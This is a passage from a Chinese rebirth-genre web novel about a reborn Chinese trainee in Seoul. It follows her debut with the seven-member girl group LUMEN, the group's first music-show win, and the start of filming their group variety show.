《重生之我是在韩务工人员》
1. 出道
首尔三月的风还带着凉意,夏瑜站在练习室镜子前,汗水顺着下颌线滴进领口。
她把手机音量调到最大,耳机里是SEVENTEEN的《Don''t Wanna Cry》,节奏撞进耳膜,震得太阳穴突突跳。镜子里的人影跟着音乐律动——那是一个十九岁女孩的身影,黑色背心被汗浸透贴在身上,一头浅栗色的自来卷随意扎成低马尾,碎发打着卷儿黏在额角和颈侧。
像刚洗完澡没吹干的小绵羊。
她的长相确实很像绵羊——脸很小,下颌线收得干净利落,但脸颊还带着点婴儿肥。最像的是那双眼睛:杏眼,眼尾微微下垂,瞳仁又黑又亮,看人的时候总带着点温吞的水光。化妆老师说她这双眼睛天生适合上镜,“就算不笑也像在笑”。但她自己知道,自来卷也有缺点——直发贴头皮的时候特别难看,像被雨淋过的落汤羊。所以她从来不把头发拉直,永远顶着那一头乱糟糟的自来卷。
此刻镜子里那双眼睛里没有笑意。
凌晨两点的江南区,只有这间练习室的灯还亮着。
最后一次副歌结束,夏瑜跌坐在地板上,胸口剧烈起伏。十九岁的身体还能撑住每天十二小时的练习,这让她偶尔会想起十七岁那具身体——从六楼坠落,只用了几秒。
那天也是三月。
风也这么大。
夏瑜闭上眼,把那个画面压回记忆深处。再睁开眼时,镜子里只有一张被汗打湿的脸,和一双过于清醒的眼睛。
手机闹钟响了。凌晨三点。
该回去了。
明天——不对,今天下午三点,是月评。公司所有高层都会到场,决定谁能在下个月的出道预备队里留下。
她爬起来,收拾东西,关上灯。
练习室暗下去的那一刻,镜子里的人影也消失了。
第二天的月评,夏瑜跳的是ITZY的《Wannabe》。
音乐响起,她把自己完全交给身体。
五分钟后,她站在舞台中央喘气,看见台下有人点了点头。
这就够了。
月评结束,练习生们三三两两地往外走。夏瑜走在最后面,被一个声音叫住。
“seki”
她回头。是负责她们这组的主舞老师,姜敏京。
“老师。”
姜敏京走过来,上下打量了她一眼:“你今天的表现,比上个月进步很大。”
“谢谢老师。”
“但是。”姜敏京顿了顿,“你知道你最大的问题是什么吗?”
夏瑜没说话。
“你的舞跳得太‘准’了。”姜敏京说,“每一个动作都对,每一个节拍都准,挑不出任何毛病。但是——”
她伸出手,点了点夏瑜的胸口。
“这里没有。”
夏瑜愣住了。
“跳舞不是复制粘贴。”姜敏京看着她,“你要让观众看到你,看到你的感情,你的故事。现在的你,像一台完美的机器,但机器不会让人心动。”
她转身走了两步,又回头。
“下周的课,你留下来,我给你加练。”
“是。”
夏瑜站在原地,看着老师的背影消失在走廊尽头。
机器。
她咀嚼着这个词。
前世她隔着屏幕看那些舞台,把每一个动作刻进骨头里,以为这就是跳舞的全部。却忘了,那些让她流泪的直拍,从来不是因为动作有多准。
而是因为那个人站在那里,就让人移不开眼。
五月的某个晚上,出道预备队的名单公布了。
七个人。
站在那间会议室里,夏瑜听见自己的名字从制作人口中说出来。不是第一个,也不是最后一个,是在中间的位置。周围响起稀稀拉拉的掌声,有人看她,有人没看。
她只是鞠了一躬。
那天晚上,七个人第一次聚在一起吃饭。
烤肉店里烟雾缭绕,五花肉在铁板上滋滋作响。夏瑜坐在最靠里的位置,面前摆着三瓶不同口味的饮料——有人给她拿的,说不知道她喜欢喝什么,就都拿来了。
她后来才知道,那个人叫姜多惠。
金敏珠,二十三岁,队长,主唱。
她是第一个自我介绍的人。端起烧酒,声音不高不低:“金敏珠,练习六年,以后请多关照。”
夏瑜看着她。单眼皮,薄嘴唇,下颌线很硬,不笑的时候像在生气。但她说“以后请多关照”的时候,夏瑜看见她眼底有一点温柔。
“敏珠欧尼是我们里练习最久的。”旁边有人补充,“她看过三批出道组解散。”
说话的是李恩彩,二十二岁,领唱,活力气氛担当。圆脸,笑起来有两个酒窝,头发染成亮眼的橘色,像一团移动的小太阳。她是那种第一眼就会让人喜欢的人——热情,开朗,说话的时候手舞足蹈,一顿饭的工夫就把所有人的老家都问了一遍。
“三批?”夏瑜问。
“嗯。”金敏珠夹了块肉,“第一批我练习两年,没选上;第二批我练习四年,也没选上;第三批我练习五年半,还是没选上。”她把肉送进嘴里,“这是第四批。”
桌上安静了一秒。
然后李恩彩举起杯子:“那这次一定行!”
金敏珠看了她一眼,嘴角动了动,没说话。
金素妍,二十二岁,主rap,清冷冷静担当。
她是七个人里长相最“冷”的一个——高颧骨,单眼皮,下颌线锋利得像刀裁的一样。不说话的时候像在生气,一开口却是反差。
“金素妍,rap担。”她顿了顿,“我不会喝酒,以茶代酒。”
李恩彩在旁边嚷嚷:“你上次不是喝了吗?”
“那是烧酒,这是啤酒。”
“有什么区别?”
“区别就是我不想喝。”
李恩彩被噎住了。
金素妍面无表情地喝了一口茶,但夏瑜看见她眼角有一点笑意。
姜多惠,二十岁,主唱,门面,温柔妈妈担当。
她自我介绍的时候很平静:“姜多惠,主唱,练习四年。”
然后她转向夏瑜,把桌上的饮料往她那边推了推。
“你还没喝,是不喜欢吗?”
夏瑜愣了一下,低头看着面前三瓶饮料——草莓味的、香蕉味的、巧克力味的。
“我不知道你喜欢哪个口味,就都拿来了。”姜多惠说,“你挑一个,剩下的我喝。”
夏瑜看着那三瓶饮料,忽然不知道该说什么。
她选了草莓味的。姜多惠拿起香蕉味的,拧开盖子喝了一口。
夏瑜注意到,姜多惠说话的时候声音很温柔,动作也很温柔。她把烤肉夹到每个人碗里,给李恩彩倒水,帮金素妍递纸巾,好像照顾所有人是她的本能。
她的长相也配得上“门面”这个定位——鹅蛋脸,眉眼柔和,笑起来的时候让人想起春天的阳光。不是绘里香那种惊艳的美,是一种很舒服、很耐看的美。
绘里香,十八岁,主舞,忙内,日语担当,安静软萌担当。
她自我介绍的时候声音很小,小到夏瑜差点没听清。
“绘里香·佐藤……日本人……主舞……请多关照。”
说完脸就红了。
李恩彩在旁边笑:“绘里香是我们里最小的,也是唯二的外国人。”
夏瑜看向绘里香。
她长得很小只,大概只有一米五八左右,整个人缩在椅子上像一只小猫。齐刘海,圆眼睛,说话的时候会不自觉地低头,声音软软的。
但夏瑜注意到她的手指——修长,有力,指尖有薄薄的茧。那是练舞练出来的。
“你跳舞一定很好。”夏瑜说。
绘里香抬头看她,眼睛亮了一下。
“你也是。”她说,“我看了你的月评……跳得特别好。”
这是夏瑜第一次听她说这么长一句话。说完之后,她的脸更红了。
韩智媛,二十一岁,副主唱,双语担当,可爱担当,胆子很小。
她是最后一个自我介绍的。
“韩智媛……在加拿大长大的……副主唱……请多关照。”
说话的时候声音在抖,眼睛不敢看任何人,盯着桌上的烤盘。
李恩彩搂住她的肩膀:“智媛有点胆小的,大家要多照顾她哦。”
韩智媛缩了缩脖子,小声说:“我没那么胆小……”
声音小得像蚊子哼。
但夏瑜注意到,她的韩语带着一点点口音,偶尔会夹一两个英文单词。比如刚才自我介绍的时候,她说的是“在Canada长大的”。
“智媛欧尼英语很好。”夏瑜说。
韩智媛抬头看她,有点不好意思:“还行吧……”
“她在加拿大住了十年。”金素妍难得开口,“英语比韩语好。”
韩智媛的脸红了。
“没那么夸张……”她小声嘟囔。
最后轮到夏瑜自己。
夏瑜,十九岁,主舞,副领唱,中文担当。
她站起来,鞠了个躬。
“夏瑜,中国人,十九岁。主舞,副领唱。请多关照。”
李恩彩眼睛亮了:“十九岁?那你比绘里香大?”
“绘里香十八。”夏瑜说。
“对,绘里香最小。”李恩彩掰着手指算,“敏珠欧尼二十三,恩彩欧尼二十二,素妍欧尼二十二,多惠欧尼二十,智媛二十一,绘里香十八……你十九。那你是第二小的”
夏瑜点点头。
韩智媛在旁边松了一口气:“太好了,我不是倒数第二。”
桌上笑成一片。
金素妍难得露出一点笑意:“至于吗?”
“至于!”韩智媛难得大声说话,说完又缩回去了。
李恩彩举起杯子:“来,为了LUMEN,干杯!”
杯子碰在一起,发出清脆的响声。
夏瑜喝了一口草莓牛奶,看着桌上的六张脸。
金敏珠在给大家分肉,表情还是那么严肃,但动作很仔细,每个人碗里的分量都一样。
李恩彩在嚷嚷着要加菜,被金素妍瞪了一眼,缩了缩脖子。
姜多惠在给韩智媛倒水,韩智媛小声说谢谢。
绘里香坐在角落里,安安静静地吃着自己碗里的东西,偶尔抬头看一眼大家,嘴角弯弯的。
夏瑜忽然觉得,这些人好像和她前世认识的人不太一样。
具体哪里不一样,她说不上来。
但至少,现在没有人想让她去死。
出道预备期的生活比夏瑜想象中更难。
每天早上八点起床,九点开始练习,一直练到凌晨一两点。跳舞、唱歌、表情管理、镜头感、综艺感——每一个项目都有老师盯着,每一个细节都会被反复纠正。
最累的是舞蹈课。
夏瑜和绘里香都是主舞,这意味着她们要承担团队舞蹈中最难的部分。姜敏京老师对她们格外严格,一个动作能让她重复五十遍。
“再来。”
“再来。”
“再来。”
第五十一遍的时候,夏瑜的腿已经开始发抖。但她咬着牙,继续跳。
姜敏京终于点了点头。
“休息十分钟。”
夏瑜一屁股坐在地上,大口喘气。绘里香递过来一瓶水,她接过来,灌了半瓶。
“你太拼了。”绘里香说。
“老师要求的。”夏瑜说。
绘里香看了她一眼,没说话。
但夏瑜知道绘里香的意思——同样的动作,她跳几遍就能过,夏瑜要跳五十遍。不是因为绘里香比她强多少,是因为绘里香跳舞有“那个东西”,她没有。
老师说的,“这里没有”。
那天晚上,夏瑜又留下来加练。
练到凌晨两点的时候,练习室的门被推开了。
是姜多惠。
“你怎么还没回去?”夏瑜愣了一下。
姜多惠晃了晃手里的袋子:“给你送夜宵。练这么久会低血糖的。”
袋子里是紫菜包饭和草莓牛奶。夏瑜看着那些东西,忽然不知道该说什么。
“谢谢欧尼。”
姜多惠在她旁边坐下,看着她吃。
“你今天跳的,比昨天好。”姜多惠说。
夏瑜抬头看她。
“真的?”
姜多惠笑了笑:“我看了一晚上。你最后几遍,和第一遍不一样了。”
“哪里不一样?”
姜多惠想了想,说:“你跳的时候,我能在你脸上看到表情了。不是那种笑,是……你在想什么的表情。”
夏瑜愣住了。
她不知道该怎么接这句话。
姜多惠也没再说什么,只是拍了拍她的膝盖,站起来走了。
门关上的那一刻,夏瑜低头看着手里的草莓牛奶,忽然觉得眼眶有点热。
她眨了眨眼,把那点热意压回去。
不能哭。
这里是练习室。
哭也要回去再哭。
声乐课是夏瑜的另一个难关。
她的音色很好——这是声乐老师说的第一句话。老师说她的声音像山泉水,干净、透亮,听她唱歌会让人静下来。
但她的技巧太差了。
“气息不稳。”老师说,“共鸣不会用。高音全靠嗓子喊。你听自己唱歌的时候不觉得累吗?”
夏瑜想了想,点头:“累。”
老师被她逗笑了。
“累就对了。”老师说,“你的耳朵是灵的,知道自己哪里不对。但知道和做到之间,差着一万遍练习。”
她拍了拍夏瑜的肩膀。
“音色是天生的,技巧是练出来的。你有前者,后者可以补。好好练。”
从那之后,夏瑜的日程表上多了两个小时声乐课。
每天凌晨练完舞,再一个人去声乐室练发声。对着镜子练口型,对着钢琴练音准,对着录音笔一遍一遍听自己的声音,听到想吐。
有一天练到太晚,嗓子哑了。第二天录音的时候,高音直接破掉,被老师骂了半个小时。
“你是不是不要命了?”声乐老师气得脸都红了,“嗓子不是这么用的!你这样练,出道前就废了!”
夏瑜低着头,不说话。
那天晚上回宿舍,她躲在卫生间里,开着水龙头,哭了一会儿。
哭完擦干脸,出来的时候正好碰见姜多惠。
姜多惠看了她一眼,没问什么,只是递过来一盒润喉糖。
“明天别练太晚。”姜多惠说,“嗓子要养的。”
夏瑜握着那盒润喉糖,鼻子又酸了。
她眨了眨眼,没压住。
眼泪掉下来的时候,姜多惠愣了一下。
然后她伸手,把夏瑜拉进怀里。
“没事的。”姜多惠说,“没事的。”
夏瑜不知道自己哭了多久。
她只记得姜多惠的毛衣很软,有洗衣液的香味。
这是她重生以来,第一次被人抱着哭。
出道前的日子很苦,但七个人在一起,苦里也有一点甜。
每天早上,金敏珠是第一个到练习室的。她会把地板擦干净,把音响调试好,然后站在镜子前开始热身。等其他人到的时候,她已经练了半小时了。
“敏珠欧尼,你不累吗?”李恩彩打着哈欠进来。
“习惯了。”金敏珠说,“你们先热身,今天要把副歌部分扣完。”
没人敢反驳队长的话。
金敏珠说话的时候总是很平静,但有一种让人无法拒绝的力量。不是凶,是那种“我知道什么是对的,你们跟着我就好”的笃定。
李恩彩是队里的气氛担当。有她在的地方永远不会冷场。
练习累到不行的时候,她会突然讲一个冷笑话,冷到所有人一边骂她一边笑。有一次她学企鹅走路,说要给大家展示“主舞的威严”——虽然本人是领唱,结果一头撞在镜子上,额头起了个包。
“你是不是傻?”金素妍面无表情地说。
“你才傻!”
“我不傻,我不撞镜子。”
“你——”
绘里香在旁边小声说:“恩彩欧尼,你额头红了……”
李恩彩摸了摸额头,疼得龇牙咧嘴,但还在嘴硬:“没事!一点都不疼!”
然后她偷偷问夏瑜:“有冰块吗?”
夏瑜忍着笑,去冰箱拿了冰袋。
金素妍是队里的高冷rap担当。她不怎么说话,也不怎么笑,总是在角落里戴着耳机听歌。但每次有人需要帮助的时候,她总是第一个出手。
有一次韩智媛的鞋带松了,自己没发现,金素妍蹲下来帮她系好了。
韩智媛吓了一跳:“素妍欧尼……”
“鞋带松了会摔倒。”金素妍站起来,面无表情地说,“你是舞担,摔了怎么办?”
韩智媛小声说:“我不是舞担,我是副主唱……”
“那也会摔。”
说完戴上耳机,走了。
韩智媛看着她的背影,小声对夏瑜说:“素妍欧尼好酷。”
夏瑜点头。
是很酷。
姜多惠是队里的妈妈担当。
她会记得每个人的喜好——金敏珠喜欢美式咖啡,李恩彩喜欢焦糖玛奇朵,金素妍喜欢热美式,韩智媛喜欢热巧克力,绘里香喜欢草莓奶昔,夏瑜喜欢喝热水。
每次练习结束,她都会准备好饮料,一一递到每个人手里。
“多惠欧尼,你为什么不给自己买?”夏瑜有一次问。
姜多惠笑了笑:“我不渴。”
但夏瑜知道她渴。她看见姜多惠偷偷喝练习室饮水机里的水。
第二天,夏瑜给姜多惠买了一瓶她最喜欢的柚子茶。
姜多惠愣了一下,然后笑了。
“谢谢。”
“欧尼也要照顾好自己。”夏瑜说。
姜多惠看着她,眼眶忽然有点红。
“好。”
绘里香是队里的忙内,也是最安静的一个。
她很少说话,总是缩在角落里,像一只小猫咪。但一跳起舞来,整个人就变了。
第一次合练的时候,所有人都被绘里香震惊了。
她的舞有一种天生的灵性,每一个动作都像在呼吸,自然、流畅、毫不费力。夏瑜站在旁边看她跳舞,忽然明白了老师说的那句话。
“这里没有。”
绘里香的“这里”有东西。很多。
那天晚上,夏瑜一个人坐在练习室里,对着镜子发呆。
门被推开了。是绘里香。
“你怎么还没走?”夏瑜问。
绘里香走过来,在她旁边坐下。
“欧尼。”她说,“你的舞跳得很好。”
夏瑜苦笑:“你不用安慰我。”
“不是安慰。”绘里香认真地说,“你的力度和控制都比我好。我只是……”
她想了想,好像在找合适的韩语单词。
“我只是比较会……表达?”
夏瑜看着她。
“欧尼跳舞的时候,像在完成任务。”绘里香说,“我跳舞的时候,像在……说话。”
她顿了顿。
“老师说的‘这里’,不是技巧。是……你想说的话。”
夏瑜愣住了。
“你想说什么?”绘里香问。
你想说什么
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夏瑜从来没想过这个问题。
她想说什么?
她想说——
“谢谢你活着。”
这是她前世最想听到的话。
没人对她说过。
也许,她可以对自己说。
也许,她可以通过舞蹈,对那个十七岁的自己说。
韩智媛是队里最胆小的一个,也是最让人心疼的一个。
她在加拿大长大,韩语不太好,每次说话都要想很久,怕说错。所以她很少主动开口,总是躲在别人后面。
但她很细心。
有一次夏瑜练舞扭了脚,谁都没发现,只有韩智媛看见了。她跑去找姜多惠拿药膏,蹲下来帮夏瑜贴上。
“你怎么知道的?”夏瑜问。
“你走路的时候……左脚有点跛。”韩智媛小声说,“别人可能看不出来,但我看得出来。”
夏瑜看着她。
“欧尼观察力很强。”夏瑜说。
韩智媛不好意思地笑了。
“在加拿大……我也总是一个人。所以习惯了观察别人。”
夏瑜忽然觉得,韩智媛和自己有点像。
都是一个人。
都是习惯躲在角落里的人。
“智媛欧尼。”夏瑜说。
“嗯?”
“以后你不是一个人了。”
韩智媛愣了一下,然后眼眶红了。
“嗯。”她说,声音有点哑。
七月十五日。
出道Showcase当天。
早上五点,七个人就被叫起来做造型。化妆师、发型师、服装师围着她们转,像在包装七件易碎的瓷器。
夏瑜坐在椅子上,看着镜子里的自己一点一点变样。
自来卷被吹得蓬松柔软,在灯光下泛着浅栗色的光泽。杏眼被眼线拉长了一点,显得更有神采,但保留了原本的温润感。婴儿肥没有被完全遮掉,化妆师说那是她的特色,“绵羊塑就是要有点肉才可爱”。服装师给她换上一件米白色的短上衣和浅蓝色的牛仔裙,裙摆刚好到膝盖上面,露出一截细细的小腿。
“像小绵羊吗?”夏瑜问。
服装师愣了一下,然后笑了。
“像。很好看的小绵羊。”
下午五点,距离Showcase开始还有两个小时。
七个人站在后台,从幕布的缝隙里往外看。
黑压压的人群。五颜六色的应援棒。举着她们名字的横幅。
“Seki”。
夏瑜看见了自己的名字。
旁边有人在喊,声音太杂,听不清喊什么。但她看见有人举着的手幅上写着中文:“Seki,A市老乡在这里”。手幅上印着她的照片——照片里的她正对着镜头笑,那双杏眼弯成两道月牙,自来卷蓬蓬的,确实像一只小绵羊。
她盯着那几个字,眼眶忽然热了一下。
A市。
那是她生活的地方。
也是前世她死去的地方。
但现在,有人从那里来,专门来看她。
“走了。”金敏珠在背后拉她。
七个人站上升降台,黑暗里只能听见彼此的呼吸。
韩智媛的手在抖。夏瑜感觉到了。
她伸手,握住那只手。
韩智媛偏头看她,眼眶红红的。
“别怕。”夏瑜说。
韩智媛点了点头。
音乐响起来。
升降台开始上升。
光照进来的时候,夏瑜闭上眼,又睁开。
两千人的尖叫涌上来,像潮水一样淹没了她。
她站在舞台中央,灯光落在身上,音乐推着她往前走。
第一首歌结束的时候,她才发现自己脸上全是汗,还有别的什么。
她伸手摸了一下。
是眼泪。
她不知道自己什么时候哭的。
但那也没关系。
因为台下的人都在哭。
八月,LUMEN拿下第一个一位。
那天是音乐银行的录制,她们和另一个女团竞争。候补名单出来的时候,所有人都觉得赢面不大,对方是三大社的团,出道半个月,销量比她们多一倍。
宣布一位之前,七个人站在台上,手牵着手。
夏瑜感觉到旁边绘里香的手在抖。她偏头看了一眼,绘里香咬着嘴唇,眼眶红红的。
“别怕。”夏瑜握紧她的手。
绘里香看她一眼,点了点头。
主持人打开手卡。
“LUMEN。”
尖叫声瞬间炸开。
绘里香的眼泪一下子就掉下来了。李恩彩抱住她,两个人哭成一团。金敏珠站在旁边,眼眶也红了,但忍着没哭。姜多惠捂着嘴,肩膀一抖一抖的。金素妍仰着头,拼命把眼泪憋回去。韩智媛躲在姜多惠身后,也在偷偷抹眼泪。
夏瑜站在原地,看着台下粉丝举起的应援牌。
她的名字。
韩文,中文,都有。
然后她看见有人举着的手幅上写着:“Seki绵羊塑集合!”
还有人说:“Seki不哭!”
她愣了一下,才发现自己已经哭了。
不知道什么时候开始的。
金敏珠把奖杯塞进她手里:“说两句。”
夏瑜握着奖杯,走到麦克风前。
台下安静下来。
她看着那些亮晶晶的眼睛,沉默了几秒。
“谢谢你们。”她说,先用中文,再用韩语,“谢谢我的成员,谢谢公司,谢谢所有帮助我们的人。”
顿了顿。
“也谢谢四年前的我自己。”
她没说为什么是四年。
但有人懂。
下台之后,七个人在待机室里抱成一团,又哭又笑。
李恩彩哭得最凶,一边哭一边喊:“我妆花了!我上镜会丑死的!”
金素妍递给她纸巾:“你本来就丑。”
“呀!”
金敏珠难得笑了,伸手揉了揉李恩彩的脑袋:“行了,别哭了,晚上我请客。”
“真的?”李恩彩立刻不哭了。
金素妍在旁边冷哼一声:“就知道吃。”
“你!”
韩智媛躲在姜多惠身后,小声说:“欧尼们别吵了……”
姜多惠笑着拍了拍她的头。
绘里香坐在沙发上,眼睛红红的,但嘴角弯着。
夏瑜走过去,在她旁边坐下。
“还好吗?”
绘里香点头。
“我从来没想过会拿一位。”她小声说,“我以为……至少要等几个月。”
夏瑜看着她。
“你值得。”夏瑜说,“你的舞跳得那么好。”
绘里香摇头。
“是大家一起的。”她说,“没有欧尼们,我一个人不行。”
夏瑜忽然想起绘里香对她说过的话。
“我跳舞的时候,像在说话。”
“欧尼跳舞的时候,像在完成任务。”
“你想说什么?”
现在,她想说什么?
她看着手里的奖杯,忽然有了答案。
那天晚上,夏瑜回到宿舍,把在下班路上收到的信一封一封拆开看。
有一个粉丝写:“Seki Xi,我在高三最累的时候看到了你的直拍,那时候我也想放弃,但看着你在舞台上发光的样子,我就觉得,我也可以再坚持一下。”
有一个粉丝写:“我也是中国人,一个人在首尔留学。每次想家的时候就看你的视频,看着看着就不难过了。谢谢你。”
有一个粉丝写:“我不是你的唯粉,但每次看到你,都觉得你眼里的光很特别。那不是天生就会发光的人,那是经历过黑暗还选择发光的人。”
还有一个粉丝写:“Seki你知道吗,你笑起来真的好像小绵羊,软软的,暖暖的。每次看到你笑,我就觉得世界也没那么糟糕。”
还有一个粉丝写:“今天一位粗卡!看到你哭我也哭了。谢谢你愿意让我们看到你的眼泪。”
夏瑜看到最后一句,停了很久。
她把信收好,关上台灯,躺在床上看天花板。
首尔的夜很安静,安静得能听见自己的心跳。
她想起几个月前,姜敏京老师说的那句话。
“这里没有。”
现在呢?
她把手按在胸口。
心跳很稳,一下一下的。
但那里好像有什么东西了。
不是空的。
是她想说的话。
是那些信里写的——“谢谢你活着。”
手机亮了。
是KakaoTalk的消息。群聊里李恩彩发了一张刚才的合照,七个人哭得乱七八糟,但都在笑。
“今晚吃烤肉!!!”
金敏珠回复:“我请客,你别点太多。”
“我怎么就点多了!!!”
金素妍:“你心里没数。”
韩智媛:“+1”
姜多惠:“+1”
绘里香:“+1”
夏瑜看着屏幕,忍不住笑了。
她打了几个字:“我也+1”
发送成功。
窗外有风,吹得窗帘轻轻晃动。
她把手机放在枕边,闭上眼睛。
明天还有练习,下周要拍综艺,下个月有演唱会。日程表排得满满当当,从早到晚没有一分钟是空的。
但没关系。
她有的是时间。
这一辈子,还很长。
而且这一次,胸口那个地方,终于不空了。
2. 团综
一位的喜悦还没散去,公司就扔来了新的任务。
“团综?”李恩彩第一个叫出来,“真的吗?我们自己的团综?”
经纪人点点头:“对,叫《LUMEN的第一次》,一共八集,每集二十分钟左右。下周三开拍,第一集的主题是‘成员介绍’。”
金敏珠问:“拍摄周期多久?”
“两周,集中拍摄。会有外景、室内游戏、隐藏 camera和幕后花絮。”
李恩彩已经兴奋得在练习室里转圈了:“天哪天哪天哪!我们也有团综了!”
金素妍面无表情地看着她:“你能不能冷静点?”
“不能!”李恩彩继续转,“我等这一天等了五年!”
金敏珠看了她一眼,嘴角动了一下——那是她最接近笑的表情。
夏瑜站在角落里,没说话。
团综。
她前世看过无数个团综。SEVENTEEN的《GOING SEVENTEEN》,ITZY的《ITZY? ITZY!》,(G)I-DLE的《I-TALK》——那些综艺她刷过不止一遍,每一个名场面都记得清清楚楚。
但现在轮到她站在镜头前面了。
不是隔着屏幕看别人,是别人隔着屏幕看她。
她忽然觉得有点紧张。
“Seki?”姜多惠走过来,“你还好吗?脸色有点不太好。”
“没事。”夏瑜笑了笑,“就是……有点紧张。”
“紧张什么?”李恩彩凑过来,“团综多好玩啊!就是玩游戏、吃东西、聊天,跟平时一样就行了。”
跟平时一样。
夏瑜心想,问题就在这里。
她平时的样子,和镜头前的样子,从来都不是一回事。
但她还有另一件事在脑子里转。
武术。
这是她重生之后就想好的。
前世她看过太多选秀节目和团综,知道一个外国人在韩国出道有多难。语言、文化、长相、实力——每一样都要比别人强,才能被看见。
所以她很小的时候就开始练武术了。
不是那种花拳绣腿的表演,是真正的武术。她妈妈在A市老家认识一个退休的武术教练,夏瑜每年回国休假的时候都会去找他学。
侧空翻、前空翻、后空翻、旋子、毽子——她一样一样地练,摔了无数次,膝盖上的疤叠着疤。
因为她知道,总有一天,这些东西会用上。
在韩国,会武术的女爱豆太少了。这是她的底气。
第一集开拍前一天晚上,七个人在公司会议室开了个策划会。
PD姓朴,四十出头,做过好几个团综,经验丰富。他把第一集的脚本发给大家,上面密密麻麻写满了流程。
“第一集是成员介绍,但我不想做成那种干巴巴的自我介绍。”朴PD说,“我们设计了一个游戏——‘LUMEN的第一次’。每个人抽一张卡片,卡片上写着一个问题,比如‘第一次想当爱豆是什么时候’、‘第一次哭是什么时候’之类的。回答完之后,要表演一个和自己定位相关的个人技。”
“个人技?”李恩彩眼睛亮了,“我可以学动物叫!”
金素妍看了她一眼:“你学猪叫最像。”
“你才猪!”
朴PD笑了:“可以,这种互动很好。观众喜欢看成员之间的化学反应。”
他又翻了一页脚本:“另外,我们还会设置一个隐藏 camera。在大家不知道的情况下,测试你们的反应。具体内容暂时保密。”
夏瑜翻着脚本,越看越紧张。
回答问题、表演个人技、隐藏 camera——每一样都需要她在镜头前展示自己。
不是跳舞,不是唱歌,是展示“自己”。
可是“自己”是什么?
她想了很久,没想出来。
但个人技她已经准备好了。
是武术。
开拍那天,七个人被带到一个布置好的摄影棚。
背景是粉色调的,挂着LUMEN的logo,地上散落着彩色气球和抱枕。灯光很柔和,打在人脸上显得皮肤特别好。
“这是你们的主场。”朴PD说,“放松一点,就像在宿舍里一样。”
七个人坐在沙发上,按照站位坐好——金敏珠在中间,左边是姜多惠和韩智媛,右边是李恩彩和金素妍,夏瑜和绘里香坐在最两边。
绘里香是日本人,本名叫绘里香·佐藤,但为了方便,她用的英文名是Eri。公司建议她取个艺名,她想了很久,说:“就叫Eri吧,好记。”她的长相很日本——圆圆的眼型,小巧的鼻子,皮肤白得透明,说话的时候喜欢低头,声音软软的,像刚出炉的年糕。她是队里最小的,也是唯一的外国人——如果不算夏瑜的话。
但夏瑜是中国人,好歹也是外国人,所以两个人有时候会凑在一起用蹩脚的韩语交流,画面很好笑。
夏瑜注意到绘里香也很紧张。她的手指在膝盖上轻轻敲着,那是她紧张时的小习惯。
“Eri,没事的。”夏瑜小声说。
绘里香看了她一眼,点了点头,但手指还在敲。
“五、四、三、二、一——开始!”
场记板打下,红光亮起。
“大家好!我们是LUMEN!”七个人齐声喊道,配合着事先练习好的手势——左手比L,右手比半颗心,叠在一起。
这个开场练了无数遍,闭着眼睛都能做。
“我是LUMEN的队长金敏珠。”金敏珠对着镜头微笑。她笑起来其实挺好看的,只是平时不太笑。
“我是LUMEN的主唱李恩彩!大家好呀!”李恩彩挥手,元气满满。
“主rap金素妍。”金素妍面无表情地点了点头。
“主唱姜多惠,请大家多多关照。”姜多惠温柔地笑了笑。
“副主唱韩智媛……大家好……”韩智媛声音很小,脸已经开始红了。
“忙内Eri……请多支持我们……”绘里香说完就低下了头。
最后轮到夏瑜。
“我是LUMEN的主舞和副领唱,夏瑜。来自中国,请大家多多喜欢我!”
她说完,对着镜头比了个脸颊比心。
这是她对着镜子练了无数遍的动作。自然、可爱、不刻意。
但只有她自己知道,她的手心全是汗。
第一个环节是抽卡片回答问题。
金敏珠第一个抽。
她抽到的卡片是:“第一次当练习生是什么时候?为什么想当爱豆?”
金敏珠沉默了几秒。
“十七岁。”她说,“高二的时候。学校组织去看了一场演唱会,我在台下看着台上的爱豆,忽然觉得……我也想站在那里。”
“不是因为喜欢唱歌?”朴PD在镜头后面问。
“也喜欢。”金敏珠说,“但更多的是……想被看见。”
夏瑜愣了一下。
想被看见。
她懂这种感觉。
第二个抽的是李恩彩。
她抽到的卡片是:“队里谁最让你头疼?”
李恩彩想都没想:“金素妍!”
金素妍面无表情地看她。
“她太冷了!”李恩彩控诉,“我跟她说话她不理我,我讲笑话她不笑,我给她发消息她隔一天才回!”
“那是因为你的笑话不好笑。”金素妍说。
“你看!又来了!”
李恩彩气得脸都红了,其他人笑成一团。
朴PD在镜头后面笑了:“这个好,这个留着。”
轮到金素妍的时候,她抽到的卡片是:“李恩彩说的都是真的吗?”
金素妍沉默了两秒。
“她发的消息我会回。”她说,“隔一天是因为……在想怎么回。”
李恩彩愣了一下,然后眼眶红了。
“呀,金素妍,你这个人……”
“别哭。”金素妍递给她一张纸巾,“哭了不好看。”
李恩彩接过纸巾,一边擦眼泪一边骂:“你才不好看!”
金素妍嘴角弯了一下。
夏瑜看着这一幕,忽然觉得心里暖暖的。
原来金素妍不是不回消息,是不太会回消息。
原来那种“冷”,只是不知道该怎么表达。
轮到夏瑜的时候,她抽到的卡片是:“第一次想当爱豆是什么时候?”
她拿着卡片,沉默了很久。
什么时候?
前世的时候。
隔着屏幕看尹净汉跳舞的时候。看李彩领直拍的时候。看叶舒华和宋雨琦在舞台上发光的时候。
那时候她想:如果能站在舞台上,被人看见,被人喜欢,该多好。
但她不能说这些。
“十五岁。”她最后说,“在电视上看到舞台的时候。”
“什么样的舞台?”
“SEVENTEEN的。”她说,“看到他们在舞台上跳舞的样子,觉得……好帅。我也想成为那样的人。”
这是实话。
只是她没说,那是上一辈子的事。
“那你为什么选了跳舞,而不是唱歌?”朴PD问。
夏瑜想了想。
“因为跳舞的时候,不用想太多。”她说,“身体会自己动。”
她没说的是:跳舞的时候,她可以暂时忘记自己是谁。可以变成另一个人,一个站在舞台上、被人喜欢的人。
但这个答案已经够了。
朴PD点了点头,没再追问。
个人技环节,李恩彩第一个冲出来。
“我给大家表演一个——学动物叫!”
她清了清嗓子,开始表演。
猫叫:“喵~”
狗叫:“汪!”
猪叫:“哼哧哼哧——”
学猪叫的时候,她真的把头拱起来,鼻子往上翘,呆得不行。
金素妍在旁边捂住了脸。
“我不认识这个人。”她说。
李恩彩表演完,得意洋洋地回到座位上。
“素妍欧尼,该你了!”
金素妍站起来,面无表情地说:“我的个人技是——面无表情地吃掉很辣的东西。”
她从桌上拿起一根辣椒,面不改色地塞进嘴里,嚼了嚼,咽下去。
全程没有任何表情变化。
所有人都看呆了。
“你不辣吗?”李恩彩瞪大眼睛。
“辣。”金素妍说,“但我不表现出来。”
“……这是什么鬼个人技啊!”
轮到绘里香的时候,她紧张得手指都在抖。
